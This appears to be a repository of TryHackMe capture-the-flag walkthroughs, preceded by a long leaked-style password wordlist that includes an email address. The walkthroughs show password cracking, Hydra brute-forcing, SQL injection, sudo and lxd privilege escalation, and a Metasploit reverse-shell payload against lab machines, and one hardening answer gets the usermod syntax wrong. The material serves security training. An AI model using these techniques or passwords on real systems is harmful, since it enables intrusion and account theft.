carlita
adrian1
619619
woaini
paintball
love4u
lilone
kaycee
ethan1
beauty1
angelgirl
alegria
vladimir
tulips
pebbles1
mason
kathmandu
jonathon
johndeere
harry1
gwapo
grandma1
blueangel
ANDREA
7895123
654123
19871987
waters
vampires
password1
soccer
anthony
friends
butterfly
purple
angel
jordan
liverpool
justin
loveme
fuckyou
123123
football
secret
andrea
carlos
jennifer
joshua
bubbles
1234567890
superman
hannah
amanda
loveyou
pretty
basketball
andrew
angels
tweety
flower
playboy
hello
elizabeth
hottie
tinkerbell
charlie
samantha
barbie
chelsea
lovers
teamo
jasmine
brandon
666666
shadow
melissa
eminem
matthew
robert
danielle
forever
family
jonathan
987654321
computer
whatever
dragon
vanessa
cookie
naruto
summer
sweety
spongebob
joseph
junior
softball
taylor
yellow
daniela
lauren
mickey
princesa
alexandra
alexis
jesus
estrella
miguel
william
thomas
beautiful
mylove
angela
poohbear
patrick
iloveme
sakura
adrian
alexander
destiny
christian
121212
sayang
america
dancer
monica
richard
112233
princess1
555555
diamond
carolina
steven
rangers
louise
orange
789456
999999
shorty
11111
12345678
abc123
nicole
daniel
babygirl
monkey
lovely
jessica
654321
michael
ashley
qwerty
111111
iloveu
000000
flor1234
flor09
flor05
flor04
flor-fede
flopsybunny
flopsy93
flopsey12
floppyrabbit
floppypoppy
floppy28
floppy26
floppy1996
floppy10
floppy05
floppy04
floppy!
floppsie
flopper01
flopp
flopity
flopi
flophy
flopes
flopat
flop123
floozie
flooty
floosy84
floosie
floormat
floorhockey
floorguy
floorfiller
floor4
floopi24
floopi
flooish
floodway
flonie
floni
flongz
flong2x
floman
flokos
floki
flojita
floirda
flogas
flogame
flofloflo
floey1
floetic1
floete
flodnar
flockton
flockhart
flocken
flocer
flocas
flobbybob
floaredemai
floam
floale
flo60121
flo5wers
flo12345
fllanza
flk123
fljl5364
flje8354
flivver
flitty
flisan
flirtylicious
flirtycute
flirtychiq
flirtychic
flirtybabe
flirty92
flirty666
flirty5
flirty29
flirty22
flirty19
flirty11
flirty08
flirty07
flirty05
flirts1
flirting1
flirtgurl
flirtgirl1
flirtgirl
flirtflirt
flirtboy
flirtaholic
flirt666
flirt4ever
flirt19
flirt00
fliquity
fliquiti
flipy
flipup
flipturn
flipss
flipskate
flipside24
flipside2
flipset1
flips1
fliprock
flippo##
flippingrl
flipping1
flippi
flipper99
flipper79
flipper45
flipper195
flipper16
flipper123
flipper10
flipper05
flipper01
flippen1
flippant
flipp
flipone
flipnasty4
flipmode7
flipmode5150
flipmode2
flipkid
flipie
flipflops.
flipflops!
flipflop9
flipflop07
flipflop06
flipflip1
flipcup24
flipcup
flipclip
flipchick
flip99
flip98
flip88
flip85
flip77
flip623
flip4u
flip4fun
flip28
flip24
flip22flip
flip2008
flip14
flip07
flip04
flintshire
flintoff12
flintlock1
flinthill
flinter
flinta
flint16
flint15
flint12
flinston
flinky
flink
flinda
flimmer
flikster
flikiti
flikas
fligirl
flighty
flightlead
flightattendant
flight99
flight97
flight7
flight45
flight3
flight29down
flight24
flight19
flight15
flight101
flight05
flicker2
flickchick
flicka18
flicka15
flicka14
flick5
flick4
flick07
flicek
flht95
flgirl1
flflfl
flexxy
flexter
flexit
flexin12
flexibledoor38
flexible07
flexibility
flexable
flex_99
flex26
flex2000
flex08
fleurtje1
fleurie
fleuri
fleurd
fleur78
fleur4
fleur2005
fleur1969
fleur14
fleur13
fleur11
fleur03
fleur01
flett1685
flett
fletchercharlye
fletcher7
fletcher17
fletcher11
fletch4
fletch321
fletch3
fletch08
flessa
fleshnbone
flesh666
flemita
flemishgrl
flemish
fleming84
fleming2
fleming123
flembo
flemball
flemas
flekken
fleitas
flefle
fleenor
fleemco
fleeleg1
fleebag
fledermaus
fleckyboy
fleck
fleamart1
fleagle
fleaflea
flea45
flea22
flea19
flea12
flea05
flcl16
flcl123
flays
flaxseed
flawless6
flawless16
flawless08
flawed1
flavours
flavor69
flavor5
flavor23
flavor!
flavior
flavio15
flavio0
flavinho
flavia23
flavia11
flaverflav
flavah
flavagirl
flavaflav1
flava123
flaure
flatts3
flatts13
flatts1
flattop
flatspot
flats
flatron01
flatout2
flatline1
flatlin3
flatlands
flatface
flatcat
flatboy
flatball
flatabs
flat999cod999
flat999
flashy23
flashy12
flasho
flashnell
flashme
flashleopard
flashito
flashieass
flashes08
flashers
flashcards
flashbox
flashash
flash95
flash91
flash88
flash72
flash411
flash28
flash223
flash19
flash16
flash100
flash09
flash02
flash001
flash00
flarp
flarion
flare1
flaquito17
flaquito001
flaquita93
flaquita9
flaquita3
flaquita25
flaquita21
flaquita2
flaquita16
flaquita15
flaquita14
flaquita07
flaquita0206
flaquit
flaquisima
flaqui18
flaqito
flaqis
flaps
flappy1
flappie1
flapjacks1
flapingbird
flapie
flannigan
flannan
flanna
flanker1
flanigan1
flanger
flange69
flange1
flang
flanel
flander
flanax
flanagan1
flamurtari
flamson
flammy89
flammy
flammie
flammang
flaminio
flaminhot1
flamingos1
flamingo99
flamingo32
flamingo27
flamingo18
flamingo14
flamingo1190
flamingo11
flamingo10
flamingo06
flaminco
flamez14
flamez1
flamex
flamess
flames8
flames666
flames456
flames44
flames3
flames28
flames222
flames16
flames06
flameroad
flamer13
flamer123
flameon4
flamenko
flamengos
flamengo10
flamen
flamelord
flamegirl1
flameflame
flamee
flamedramon
flameball
flame95
flame89
flame88
flame666
flame24
flame18
flame15
flame143
flame1234
flame100
flame06
flame0
flamanda
flamaboy
flama
flaky26
flakucha
flakteamo
flaks
flakos
flako3
flako20
flako14
flako123
flako12
flakka
flakitos
flakitolindo
flakito17
flakitatqm
flakitamoxa
flakitaa
flakita89
flakita7
flakita69
flakita3
flakita27
flakita14
flakita08
flakita06
flakisss
flakiss29
flakiss21
flakis17
flakis13
flakis05
flakiito
flakbella
flakatkm
flakateamo
flaka93
flaka91
flaka87
flaka8
flaka4life
flaka305
flaka24
flaka20
flaka10
flaka.25
flak88
flak08
flair22
flagsrule
flags2
flags101
flagirl
flagflag
flagator
flag93
flag890
flag2006
flag11
flacus
flacuchento
flacota
flacoo
flaco9
flaco89
flaco6
flaco27
flaco22
flaco20089
flaco1995
flaco17
flaco09
flaco05
flacita
flacari
flacaman
flacalaca
flacae
flacac
flacabuena
flacabonita
flaca_13
flaca989
flaca9670
flaca88
flaca86
flaca85
flaca77
flaca609
flaca4life
flaca4
flaca34
flaca33
flaca214
flaca2008
flaca2006
flaca2004
flaca1982
flaca101
flaca04
flaca*
flaca!
flabtastic
flabio
flabia
fla407
fl9358
fl8989
fl4life
fl34747
fl33605
fl33433
fl33177
fl33071
fl33065
fl33023
fl32837
fl32817
fl32544
fl32210
fl32068
fl2802
fl2315
fl2008
fl1rt
fl1pflop
fl123456
fl1234
fl1000
fl0werp0wer
fl0ppy
fktv2005
fktlc99
fks2e9p7eg
fkq84kwc
fkntdk05
fkmefkme
fkieren_12
fkdifkdi
fkaylee558
fk;fk;
fk4hm61
fjx100pre
fjrt09
fjr3samh
fjpogi
fjoshua
fjernsyn
fjeidkvn7
fjdksla
fjavier
fjac7un6
fja241
fj8kb5
fj5215505
fj0231
fizzys
fizzypop123
fizzypigs
fizzylizzy
fizzygirl
fizzycola
fizzybomb
fizzyb
fizzy72
fizzy27
fizzy22
fizzy2
fizzy14
fizzy12
fizzwizz
fizzman
fizzleme
fizzle9
fizzle2
fizzle12
fizzgigg
fizzfizz22
fizzers
fizzer1
fizz26
fizz2006
fizz16
fizz1234
fizz11
fizz01
fizuck
fizik
fizgig1
fizbom
fizah93
fizafiza
fiza80
fiza1234
fiza123
fiz123
fiyana
fiya19
fixtures
fixit1
fixfix
fixedme
fixativ
fivezero
fiveten
fiveseven
fives5
fivelove
fivefour1
fiveforfighting
fivefive55
fivefeet
fivedollars
fivedogs
fiveaday
five55555
five5555
five5347
five50
five31
five25
five2007
five20
five16
five11
five10
five000
five-0
fiuinha
fitzze
fitzy13
fitzy123
fitzy12
fitzy07
fitzy00
fitzroy1
fitzory
fitzgerald7
fitzgearld
fitzee
fitzalan
fittymari
fittycent
fittness
fitte
fitrum
fitrii
fitri95
fitri94
fitri88
fitri3
fitree
fitos
fitofito
fito11
fitness25
fitness21
fitness19
fitness101
fitness07
fitmac
fitlivigurl
fitlike1
fitlad
fitim
fitiavana
fitiaa
fithriani
fithri
fither
fitguy
fitgirl1
fitboyz
fitboy2
fitbabe1
fitba
fitasfcuk
fitan
fitafita
fit2me
fit123
fit-toz
fistik
fisniku
fisniki
fisker
fisip
fisiot
fisiopower
fisico-quimica
fishypie
fishygirl
fishy95
fishy777
fishy77
fishy45
fishy321
fishy21
fishy19
fishy18
fishy14
fishy111
fishwish
fishwife
fishwater
fishu
fishtx
fishtown1
fishtoft
fishtanks
fishtank40
fishtank3
fishtale
fishswim
fishstix9
fishstick2
fishst1x
fishrule
fishrider
fishrcool
fishpot
fishout
fishon420
fishnuts
fishn1
fishmouth
fishline
fishking
fishinmiss
fishing92
fishing83
fishing67
fishing4eva
fishing33
fishing30
fishing28
fishing27
fishing21
fishing2008
fishing2006
fishing19
fishing007
fishie5
fishie4
fishie23
fishhunt
fishgutz
fishguts1
fishguard
fishgold
fishgal
fishfuker
fishfrog
fishforlife
fisheye1
fishes9
fishes5
fishes!
fishers1
fisherman!
fishergirl
fisherboy
fisher9
fisher88
fisher73
fisher27
fisher15
fisher13
fisher06
fishen
fishegg
fished1
fishdog2
fishcutter
fishcat1
fishcake5
fishbulb
fishbubbles
fishbox
fishbowl1
fishbol
fishbate
fishbass
fish95
fish888
fish86
fish84
fish7878
fish64
fish56
fish4u
fish4fish
fish4444
fish3299
fish3
fish2424
fish221
fish2007
fish2004
fish2000
fish20
fish2
fish1993
fish1984
fish1978
fish0620
fish03
fish001
fish-pie
fischkopf
fischer2
fiscalidade
fisbicne
fis123
firzanah
firza
firuss
firulaiz
firula
firufiru
firthy
firtha
firth
firsya
firstweek
firsttimer
firsttime1
firstt
firsts1
firstpoint
firstplace
firstman
firstlove!
firstkiss7
firstkid
firstime
firstevil
firstcoast
firstar1
firstaider
first87
first84
first3
first28
first21
first16
first15
first13
first111
first love
firpo13
firmware
firmount
firmamento
firmager
firma
firkin
firjani
firina
firexx
fireworksjj
fireworks!
firework1
firewolf1
firewithin
firewitch
firewall123
firever
fireup1
firetruck5
firetree
firetouch
fireteam1
firetalk
firesued
firestrike
firestones
firestix
firespirit
firespin
fires1
firerules
firered123
firerat
firequeen
firepogi
firepit
firephoenix
fireofhell
firenza
firentze
firenoob123
firemetal
fireman91
fireman88
fireman87
fireman86
fireman83
fireman81
fireman55
fireman45
fireman32
fireman25
fireman1018
fireman*9
firemage1
firely
firelover313
firelover
firelite
firelinks
firelilly
fireland
firehot1
firehearts
firegril
firegoddess
firegirl12
firegard
firegal
firefox88
firefox7
firefox69
firefox6
firefox5
firefox4
firefox21
firefox2
firefox123
fireforge
fireforever
fireflyz
fireflys
firefly83
firefly69
firefly4
firefly18
firefly15
firefly14
firefly08
firefly01
firefly.
firefly*
firefloss
firefli1
fireflames
firefighting
firefighter570
firefighter4
fireemail
fireee
fireeagle
firedogs
firedog101
fired
firecrow
firechick1
firechic911
firecat1
fireburst
fireburns
firebugs
firebug4life
firebug22
firebolt13
fireboi
fireblazer
fireblades
fireblade9
firebird97
firebird94
firebird91
firebird87
firebird84
firebird8
firebird79
firebird73
firebird6
firebird5
firebird21
firebird1999
firebird13
firebird12
firebird10
firebird08
firebird!
fireband
fireball9
fireball77
fireball4
fireball3
fireball24
fireball17
fireball16
fireball123
fireball08
firebaby2
fireba11
fireb
fireatwill
fireantz1
firealarm1
firealarm
fireal1022
fire9111
fire90
fire84
fire817
fire81
fire804jam561
fire802
fire80
fire789
fire78
fire777
fire75
fire74
fire68
fire65
fire64
fire62
fire619
fire60
fire52
fire51
fire50
fire4me
fire4life
fire4him
fire4ever
fire42
fire4
fire321
fire300
fire247
fire221
fire214
fire2008
fire2006
fire2004
fire1996
fire1993
fire1976
fire12345
fire1157
fire111
fire009
fire red
firdha
firdaus94
firdaus92
firdaus83
firdas
firdan
fircroft
firaxis
fira123
fir3man
fir1985
fiqah92
fioteamo
fiorita
fiorino
fiorillo
fiorella86
fiorella27
fiorella19
fiorella18
fiorella12
fiorella11
fiorella10
fiorela1
fiore24
fiore1989
fiore1
fiordalisa
fiora
fionn_21
fionina
fione
fionar
fionap
fionan
fionamc
fionaf
fionadog
fionabell
fiona99
fiona92
fiona91
fiona75
fiona7382
fiona56
fiona30
fiona26
fiona2007
fiona20
fiona1992
fiona15
fiona1234
fiona100
fiona084
fiona04
fiona03
fion1817
fion1230
fiodental
fio1984
fio123
finzer
finuta
finura
fintas
finstock
finsland
finsfan
finrod
finos
finolis
finolanew
finocchio
fino555
finny77
finny7
finnly
finnest
finness
finndog
finnan3
finnagain
finn2007
finn2006
finn2004
finn06
finn
finley7
yomami1
yomamen
yomamasofat
yomamas
yomamajomama
yomamaa
yomama9223
yomama91
yomama909
yomama89
yomama786
yomama619
yomama56
yomama555
yomama415
yomama321
yomama24
yomama200
yomama16
yomama15
yomama12345
yomama100
yomama07
yomama03
yomama-
yomalita
yomali1996
yomale
yomaka
yomajiesda
yomaira8
yomaira26
yomaira22
yomaira1
yomah
yomac
yomaan
yoma25
yoma123
yolza
yolyyoly
yolys
yolyol
yolymar
yolycrispi
yoly4949
yoly328
yoly2861
yoly21
yoly200
yoly1989
yoly1700
yoly17
yoly15
yoly06
yoly
yoluis
yoltir
yolpploy
yolp91961
yoloxochitl
yolove14
yolovalgomasketu
yolotli
yolosetodo
yolosamo001
yolori
yolones1
yolonda200
yolomaximo
yoloamoael
yoloamo1
yolo69
yolo1212
yolmarie
yollys
yollymark
yolly1
yollotzin
yollotl
yollis03
yollis
yollierobert3
yolli
yollhy2
yollamrad
yoliyoli
yolix
yolitzin
yolis19
yolis17
yolis14
yolis0515
yolireyes
yolion
yolioli
yolindacomosiempre
ramirezfamily
ramirezb
ramirez99
ramirez93
ramirez92
ramirez86
ramirez81
ramirez77
ramirez76
ramirez7269@sbcglobal.net
ramirez724
ramirez417
ramirez29
ramirez26
ramirez228810
ramirez200
ramirez1995
ramirez1992
ramirez147
ramirez14
ramirez100
ramirez07
ramirez00
ramirex
ramires2
ramires1
ramirejd
ramiray
ramir143
ramins
raming1892
ramine
raminder
raminator
raminamin
ramilton
ramilsalvador
ramilove
ramilmg
ramillete
ramill
ramilko
ramiljoy
ramilito
ramilita
ramilie
ramilgica
ramiley
ramilejo643
ramile
ramildiaz
ramilcute
ramilca
ramilb
ramilan
ramil28
ramil25
ramil19
ramil14
ramil13
ramil03
ramil013
ramikas
ramikah123
ramika
ramierz20
ramielle
ramie1
ramicom
ramick
ramich
ramibel
rami99
rami89
rami4me
rami2mona
rami26
rami22
rami1992
rami1985
rami18
rami15
rami123
rami1127
rami10
rami09
rami0317
rami0303
ramhad
ramgopal
ramgoolam
ramgle
ramgar
ramgang78
ramfer
ramfan1
ramfam5
ramezlfo
michelle
tigger
sunshine

================================================
FILE: Easy-Peasy/hash.txt
================================================
940d71e8655ac41efb5f8ab850668505b86dd64186a66e57d1483e7f5fe6fd81

================================================
FILE: Easy-Peasy/secrettext.txt
================================================
username:boring
password:
01101001 01100011 01101111 01101110 01110110 01100101 01110010 01110100 01100101 01100100 01101101 01111001 01110000 01100001 01110011 01110011 01110111 01101111 01110010 01100100 01110100 01101111 01100010 01101001 01101110 01100001 01110010 01111001


================================================
FILE: Encryption-Crypto-101/README.md
================================================
# Encryption - Crypto 101

- I'm ready to learn about encryption

	  no answer needed

- I agree not to complain too much about how theory heavy this room is.

	  no answer needed

- Are SSH keys protected with a passphrase or a password?

	- `passphrase`

- What does SSH stand for?

	- `secure shell`

- How do webservers prove their identity?

	- `certificate`

- What is the main set of standards you need to comply with if you store or process payment card details?

	- `PCI-DSS`

- What's 30 % 5?

	- `0`

- What's 25 % 7

	- `4`

- What's 118613842 % 9091

	- `python3`
	- `118613842 % 9091`
	- `****`

- Should you trust DES? Yea/Nay

	- `Nay`

- What was the result of the attempt to make DES more secure so that it could be used for longer?

	- Google it!

- Is it ok to share your public key? Yea/Nay

	- `Yea`

- p = 4391, q = 6659. What is n?

	- `python3`
	- `4391 * 6659`
	- `********`

- I understand enough about RSA to move on, and I know where to look to learn more if I want to.

	  no answer needed

-  I understand how keys can be established using Public Key (asymmetric) cryptography. 

	  no answer needed

- What company is TryHackMe's certificate issued to?

	- In your browser click on the lock icon near to the URL of tryhackme.
	- Look at the certificate.
	- `**********`

- I recommend giving this a go yourself. Deploy a VM, like Learn Linux and try to add an SSH key and log in with the private key.

	  no answer needed

- Download the SSH Private Key attached to this room.

	  no answer needed

- What algorithm does the key use?

	- `rsa`

- Crack the password with John The Ripper and rockyou, what's the passphrase for the key?

	- `python2 /usr/share/john/ssh2john.py  idrsa.id_rsa > id_rsa.hash`
	- `john --wordlist=/usr/share/wordlists/rockyou.txt id_rsa.hash`
	- `*********`

- I understand how Diffie Hellman Key Exchange works at a basic level

	  no answer needed

- Time to try some GPG. Download the archive attached and extract it somewhere sensible.

	  no answer needed

- You have the private key, and a file encrypted with the public key. Decrypt the file. What's the secret word?

	- `gpg --import tryhackme.key`
	- `gpg -d message.gpg`
	- `*********`

- I understand that quantum computers affect the future of encryption. I know where to look if I want to learn more.

	  no answer needed







================================================
FILE: Erit-Securus-I/README.md
================================================
# Erit Securus I

- Deploy box

	  no answer needed

- How many ports are open?

	- `scilla port -target <TARGET_IP>`
	- `2`

- What ports are open? Comma separated, lowest first: `**,**`

	- `**,**`

- What CMS is the website built on?

	- `bolt`

- In the exploit from 2020-04-05, what language is used to write the exploit?

	- `python`

- As the exploit is authenticated, you will also need a username and password. Knowing the URI for the login-portal is also critical for the exploit to work. Find the login-portal and try login in.

	  no answer needed

- What is the username of the user running the web server?

	- `www-data`

- What is the users password?

	- `sqlite3 bolt.db`
	- `.tables`
	- `select * from bolt_users;`
	- `echo '$2y$*****************************************************' > hash`
	- `*********`

- Flag 1

	- `su wileec`
	- `cat flag1.txt`
	- `********************`

- User wileec can sudo! What can he sudo?

	- `(*******) NOPASSWD: /usr/bin/***`

- Flag 2

	- `$ TF=$(mktemp -u)`
	- `sudo -u jsmith zip $TF /etc/hosts -T -TT 'sh #'`
	- `sudo rm $TF`
	- `SHELL=/bin/bash script -q /dev/null`
	- `ls`
	- `cat flag2.txt`
	- `********************************`

- What sudo rights does jsmith have?

	- `(ALL : ALL) NOPASSWD: ALL`

- Flag 3

	- `sudo -s`
	- `cd /root/`
	- `ls`
	- `cat flag3.txt`
	- `****************************************`


================================================
FILE: Game-Zone/README.md
================================================
# Game Zone

- Deploy the machine and access its web server.

	  no answer needed

- What is the name of the large cartoon avatar holding a sniper on the forum?

	- `Agent 47`

- Here is a potential place of vulnerability, as you can input your username as another SQL query. This will take the query write, place and execute it.

	  no answer needed

- The extra SQL we inputted as our password has changed the above query to break the initial query and proceed (with the admin user) if 1==1, then comment the rest of the query to stop it breaking.

	  no answer needed

- When you've logged in, what page do you get redirected to?

	- `portal.php`

- In the users table, what is the hashed password?

	- `ab5db915fc9cea6c78df88106c6500c57f2b***************************`

- What was the username associated with the hashed password?

	- `agent47`

- What was the other table name?

	- `post`

- Once you have JohnTheRipper installed you can run it against your hash.

	  no answer needed

- What is the de-hashed password?

	- `video*******`

- What is the user flag?

	- `ssh agent47@<TARGET_IP>`, `yes` and enter password.
	- `pwd`
	- `ls`
	- `cat user.txt`
	- `***********************`

 - How many TCP sockets are running?

	- `5`

- What is the name of the exposed CMS?

	- `webmin`

- What is the CMS version?

	- `1.580`

- What is the root flag?

	- `msfconsole`
	- `search webmin 1.580`
	- `use 1`
	- `set payload cmd/unix/reverse`
	- `set PASSWORD ************`
	- `set USERNAME agent47`
	- `set LHOST <YOUR_IP>`
	- `SET RHOSTS 127.0.0.1`
	- `SET RPORT 10000`
	- `run`
	- `pwd`
	- `cat /root/root.txt`
	- `*************************`






================================================
FILE: GamingServer/README.md
================================================
# GamingServer

- What is the user flag?

	- Visit `http://<TARGET_IP>`.
	- `scilla port -target <TARGET_IP> -p -1000`
	- Two ports open. 22 and 80.
	- `scilla dir -target <TARGET_IP>`
	~~~
	[+]FOUND: http://<TARGET_IP>/uploads/ 200 OK
	[+]FOUND: http://<TARGET_IP>/secret/ 200 OK
	~~~
	- Found a dictionary of passwords in uploads (dict.lst) and a RSA private key.
	- Save these two files.
	- `python2 /usr/share/john/ssh2john.py rsa_priv > id_rsa.hash`
	- `john -w dict.lst id_rsa.hash`
	- `chmod 600 rsa_priv`
	- `ssh john@<TARGET_IP> -i rsa_priv`. We know the user is john from the website.
	- `ls`
	- `cat user.txt`
	- `*********************************`

- What is the root flag?

	- john is in the `lxd` group.
	- So download the [lxd Alpine Builder](https://github.com/saghul/lxd-alpine-builder).
	- `git clone https://github.com/saghul/lxd-alpine-builder.git`
	- `cd lxd-alpine-builder`
	- `sudo ./build-alpine`
	- `python3 -m http.server`
	- On target `wget http://<YOUR_IP>:8000/alpine-*****************.tar.gz`
	- `lxc image import ./alpine-*****************.tar.gz --alias myimage`
	- `lxc init myimage ignite -c security.privileged=true`
	- `lxc config device add ignite mydevice disk source=/ path=/mnt/root recursive=true`
	- `lxc start ignite`
	- `lxc exec ignite /bin/sh`
	- `id`
	- `cat /mnt/root/root/root.txt `
	- `********************************`







================================================
FILE: Geolocating-Images/README.md
================================================
# Geolocating Images

- Download the zip file

	no answer needed

- Where in the world is image 1? The answer is the country name.

	- Use [yandex](https://yandex.com/images/search)
	- `china`

- no title

	no answer needed

- Where was image 2 taken?

	- Search on Google `W Shieffield av. Addison av.`
	- You should get a result of Chigaco street.
	- Switch to street view.
	- `*******************`

- Read the above material

	no answer needed

- Where was image 3 taken?

	- Tried with Google dork, maps, shodan, other engines, exiftool, nothing.
	- Then I tried with some informations, such as Paris cemetery.. and so on.
	- Finally I searched for Paris Observatory.
	- `Meudon Observatory`

- Where is image 4 taken?

	- `Abbey road` :P





================================================
FILE: Getting-Started/README.md
================================================
# Getting Started

-  What is the name of the hidden admin page?

	- Inspect page source code
	- `/test-admin`

- What is the username and password in the form username:password?

	- `admin:admin`

- How many user are signed up to the application?

	- `3`






================================================
FILE: GoldenEye/README.md
================================================
# GoldenEye

![Bond](https://github.com/edoardottt/tryhackme-ctf/blob/main/GoldenEye/goldeneye.jpg)

- First things first, connect to our network and deploy the machine.

	  no answer needed

- Use nmap to scan the network for all ports. How many ports are open?

	- `nmap -p- <TARGET_IP>` or
	- `scilla port -target <TARGET_IP>`
	- `4`

- Take a look on the website, take a dive into the source code too and remember to inspect all scripts!

	  no answer needed

- Who needs to make sure they update their default password?

	- `Boris`

- Whats their password?

	- Go to [CyberChef](https://gchq.github.io/CyberChef) and set recipe From HTML Entity.
	- `****************`

- Now go use those credentials and login to a part of the site.
	
	  no answer needed
	
	- Go to `/sev-home/` and enter username (boris) and password.

- Take a look at some of the other services you found using your nmap scan. Are the credentials you have re-usable?

	  no answer needed

- If those creds don't seem to work, can you use another program to find other users and passwords? Maybe Hydra?Whats their new password?

	- `hydra -l boris -P /data/src/wordlists/fasttrack.txt pop3://<TARGET_IP>:55007`
	- `*******`

- Inspect port 55007, what services is configured to use this port?

	- `telnet`

- Login using that service and the credentials you found earlier.

	  no answer needed

- What can you find on this service?

	- `emails`

- What user can break Boris' codes?

	- `natalya`

- Using the users you found on this service, find other users passwords

	  no answer needed

- Keep enumerating users using this service and keep attempting to obtain their passwords via dictionary attacks.

	  no answer needed

- If you remembered in some of the emails you discovered, there is the severnaya-station.com website. To get this working, you need up update your DNS records to reveal it.

	  no answer needed

- Once you have done that, in your browser navigate to: http://severnaya-station.com/gnocertdir

	  no answer needed

- Try using the credentials you found earlier. Which user can you login as?

	- `x****`

- Have a poke around the site. What other user can you find?

	- `do**`

- What was this users password?

	- `hydra -l do** -P /data/src/wordlists/fasttrack.txt pop3://<TARGET_IP>:55007`
	- `****`

- Use this users credentials to go through all the services you have found to reveal more emails.

	  no answer needed

- What is the next user you can find from doak?

	- `dr_doak`

- What is this users password?

	- `4*******!`

- Take a look at their files on the moodle (severnaya-station.com)

	  no answer needed

- Download the attachments and see if there are any hidden messages inside them?

	  no answer needed

- Using the information you found in the last task, login with the newly found user.

	  no answer needed

- Take a look into Aspell, the spell checker plugin.

	  no answer needed

- Enumerate the machine manually.

	  no answer needed

- Whats the kernel version?

	- `3.**.0-**-generic`

- You can download the exploit from here: [https://www.exploit-db.com/exploits/37292](https://www.exploit-db.com/exploits/37292)

	  no answer needed

- What is the root flag?

	- `5686**************************`


================================================
FILE: Gotta-Catch'em-All/README.md
================================================
# Gotta Catch'em All!

- Find the Grass-Type Pokemon

	- `nmap -sV <TARGET_IP>`
	- `<pokemon>:<hack_the_pokemon>` in the source code of the default page...
	- `ssh pokemon@<TARGET_IP>` and enter the password
	- `cd Desktop`
	- `nc -lnvp 1234 < P0kEmOn.zip`
	- `nc <TARGET_IP> 1234 > pokemon.zip`
	- `unzip pokemon.zip`
	- `cd P0kEmOn`
	- `cat grass-type.txt`
	- `50 6f 4b ** 4d 6f ** ** ** 75 ** 62 ** 73 61 75 ** 7d`
	- CyberChef with recipe "From Hex".
	- `*******{*********}`

- Find the Water-Type Pokemon

	- `find / -type f | grep water-type`
	- `cat /var/www/html/water-type.txt`
	- `**************{********}`
	- But this flag has no sense...
	- Caesar Cypher? Yes...
	- `**************{********}`

- Find the Fire-Type Pokemon

	- `find / -type f | grep fire-type`
	- `cat /etc/why_am_i_here?/fire-type.txt`
	- `cat /etc/why_am_i_here?/fire-type.txt | base64 -d`
	- `*******{**********}`

- Who is Root's Favorite Pokemon?

	- `find / -type f | grep root`
	- After a lot of lines... `/home/roots-pokemon.txt`
	- `cat /home/roots-pokemon.txt`. Permission denied. f+ck.
	- After some minutes..
	- `pokemon@root:~/Videos/Gotta/Catch/Them/ALL!$ cat Could_this_be_what_Im_looking_for\?.cplusplus`
	- `sudo su ash` and enter the password.
	- `sudo -l`
	- `cat /home/roots-pokemon.txt`
	- `********`

- Congratulations! Thank You So Much For Completing The Pokemon Room!

	  no answer needed





================================================
FILE: Hacking-with-Powershell/README.md
================================================
# Hacking with Powershell

- Read the above and deploy the machine!

	  no answer needed

- What is the command to get help about a particular cmdlet(without any parameters)?

	- `Get-Help`

- What is the location of the file "interesting-file.txt"

	- `Get-ChildItem -Path C:\ -Include *interesting-file.txt* -File -Recurse -ErrorAction SilentlyContinue`
	- `*:********* *****`

- Specify the contents of this file

	- `Get-Content "*******************\interesting-file.txt.txt"`
	- `************************`

- How many cmdlets are installed on the system(only cmdlets, not functions and aliases)?

	- `Get-Command | Where-Object -Parameter CommandType -eq Cmdlet | measure`
	- `****`

- Get the MD5 hash of interesting-file.txt

	- `Get-FileHash -Path "***************\interesting-file.txt.txt" -Algorithm MD5`
	- `*********************************`

- What is the command to get the current working directory?

	- `Get-Location`

- Does the path "C:\Users\Administrator\Documents\Passwords" Exist(Y/N)?

	- `n`

- What command would you use to make a request to a web server?

	- `Invoke-WebRequest`

- Base64 decode the file b64.txt on Windows.

	- `certutil -decode "C:\Users\Administrator\Desktop\b64.txt" out.txt`
	- `Get-Content out.txt`
	- `****************************`

- How many users are there on the machine?

	- `Get-LocalUser`
	- `*`

- Which local user does this SID(S-1-5-21-1394777289-3961777894-1791813945-501) belong to?

	- `Get-LocalUser -SID "S-1-5-21-1394777289-3961777894-1791813945-501"`
	- `*****`

- How many users have their password required values set to False?

	- `Get-LocalUser | Where-Object -Property PasswordRequired -Match false`
	- `*`

- How many local groups exist?

	- `Get-LocalGroup | measure`
	- `**`

- What command did you use to get the IP address info?

	- `Get-NetIPAddress`

- How many ports are listed as listening?

	- `Get-NetTCPConnection | Where-Object -Property State -Match Listen | measure`
	- `**`

- What is the remote address of the local port listening on port 445?

	- `::`

- How many patches have been applied?

	- `Get-Hotfix | measure`
	- `**`

- When was the patch with ID KB4023834 installed?

	- `Get-Hotfix -Id KB4023834`
	- `***********************`

- Find the contents of a backup file.

	- `Get-ChildItem -Path C:\ -Include *.bak* -File -Recurse -ErrorAction SilentlyContinue`
	- `Get-Content ***********`
	- `***************`

- Search for all files containing `API_KEY`

	- `Get-ChildItem C:\* -Recurse | Select-String -pattern API_KEY`
	- `**********`

- What command do you do to list all the running processes?

	- `Get-Process`

- What is the path of the scheduled task called new-sched-task?

	- `/`

- Who is the owner of the C:\

	- `Get-Acl c:/`
	- `** ************************`

- What file contains the password?

	- `Doc3M`

- What is the password?

	- `***********************`

- What files contains an HTTPS link?

	- `Doc2Mary`

- How many open ports did you find between 130 and 140(inclusive of those two)?

	- `11`


================================================
FILE: Hardening-Basics-Part-1/README.md
================================================
# Hardening Basics Part 1

- Deploy the VM and let's get started!

	  no answer needed

- No questions

	  no answer needed

- No questions

	  no answer needed

- No questions

	  no answer needed

- No questions

	  no answer needed

- No questions

	  no answer needed

- No questions

	  no answer needed

- No questions

	  no answer needed

- No questions

	  no answer needed

- No questions

	  no answer needed

- What group are users automatically added to in Ubuntu?

	- `sudo`

- What would be the command to add an existing user, nick, to the sudo group? You're running as root

	- `usermod -aG nick sudo`

- What command as a user can we enter to see what we are allowed to execute with sudo?

	- `sudo -l`

- Where is the sudo policy file stored?

	- `/etc/sudoers`

- When in visudo and you see `%____`, what does the % sign indicate that you are dealing with?

	- `group`

- This Alias lets the user assign a name, like "ADMINS" to a group of people 

	- `user`

- Which Alias allows you to create a set of commands that you can then assign to a User Alias?

	- `Command`

- Yey/Ney - emacs has a shell escape

	- `yey`

- What is the minimum recommended password length set by NIST?

	- `8`

- When using the pwhistory module, which file will contain the previous passwords for the user?

	- `opasswd`

- What principle states that every user only has enough access to do their daily duties and tasks

	- `Principle of least privilege`

- No questions

	  no answer needed

